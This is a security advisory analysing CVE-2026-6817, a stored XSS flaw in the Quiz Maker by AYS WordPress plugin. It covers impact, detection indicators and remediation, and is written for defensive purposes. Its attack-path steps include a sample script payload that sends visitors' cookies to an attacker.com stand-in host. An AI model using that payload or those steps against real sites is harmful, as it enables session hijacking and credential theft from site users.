CVE-2026-6817: 
WordPress vulnerability analysis and mitigation

CVE-2026-6817 is a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz Maker by AYS plugin for WordPress. It affects all versions up to and including 6.7.1.29, stemming from insufficient input sanitization and output escaping of the rate_reason parameter. The vulnerability was published on May 2, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 5.8 (Medium) (Github Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The rate_reason parameter, used in the plugin's quiz rating functionality, fails to sanitize user-supplied input before storing it in the database and fails to escape it upon output rendering. Because no authentication is required to submit this parameter, an unauthenticated attacker can craft a malicious HTTP request containing arbitrary JavaScript, which is then persistently stored and executed in the browser of any user who visits the affected page (Github Advisory, Wordfence).

Successful exploitation allows unauthenticated attackers to persistently inject arbitrary JavaScript into WordPress pages served to all site visitors. This can result in session hijacking, credential theft, content defacement, and redirection of users to malicious external sites. Because the payload is stored server-side and executes for every visitor of the affected page, the blast radius extends to all users of the WordPress site, including administrators whose elevated privileges could be leveraged for further site compromise (Github Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (Github Advisory). The EPSS score is approximately 0.042–0.061%, placing it in the 19th percentile for exploitation likelihood within 30 days. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The low exploitation barrier — requiring no authentication and no user interaction — does increase theoretical risk despite the absence of observed exploitation.

1. Reconnaissance: Identify WordPress sites running the Quiz Maker by AYS plugin (versions ≤ 6.7.1.29) using tools like WPScan, Shodan, or by inspecting plugin directories (/wp-content/plugins/quiz-maker/).
2. Locate the vulnerable endpoint: Identify the quiz rating submission functionality that accepts the rate_reason parameter, typically via an HTTP POST request to the plugin's AJAX handler or a quiz page form.
3. Craft malicious payload: Prepare a stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, to be submitted as the value of the rate_reason parameter.
4. Submit the payload: Send an unauthenticated HTTP POST request with the malicious rate_reason value to the target endpoint. No authentication or special privileges are required.
5. Payload persistence: The injected script is stored in the WordPress database without sanitization.
6. Trigger execution: When any user (including administrators) visits a page that renders the stored rate_reason value, the malicious script executes in their browser, enabling session token theft, credential harvesting, or further attacks (Github Advisory, Wordfence).

• Network: Unusual POST requests to quiz rating endpoints containing HTML/JavaScript tags or encoded script payloads in the rate_reason parameter; outbound connections from site visitors' browsers to unknown external domains shortly after visiting quiz pages.
• Database: Entries in the WordPress database (quiz-related tables) for the rate_reason field containing <script>, javascript:, onerror=, or other XSS indicators.
• Logs: WordPress or web server access logs showing POST requests to quiz plugin endpoints with abnormally long or encoded rate_reason values; repeated submissions from a single IP address.
• File System: No direct file system artifacts expected for stored XSS, but unexpected plugin file modifications in /wp-content/plugins/quiz-maker/ may indicate secondary compromise.
• Browser/User Reports: Users reporting unexpected redirects, pop-ups, or login prompts when visiting quiz pages on the affected site.

The primary remediation is to upgrade the Quiz Maker by AYS plugin to a version beyond 6.7.1.29, which includes the fix as reflected in the plugin changeset (Plugin Changeset). If immediate patching is not possible, consider disabling the plugin until the update can be applied. Additionally, deploy a Web Application Firewall (WAF) with rules targeting XSS payloads in the rate_reason parameter, audit stored database entries for injected scripts, and review access logs for suspicious submissions (Wordfence).

Wordfence included CVE-2026-6817 in their weekly WordPress vulnerability report for the period of April 27–May 3, 2026, noting it as part of a broader set of plugin vulnerabilities (Wordfence Blog). The vulnerability was also noted on social platforms including Bluesky and Mastodon/infosec.exchange by automated CVE tracking accounts, with no significant researcher commentary or broader media coverage observed.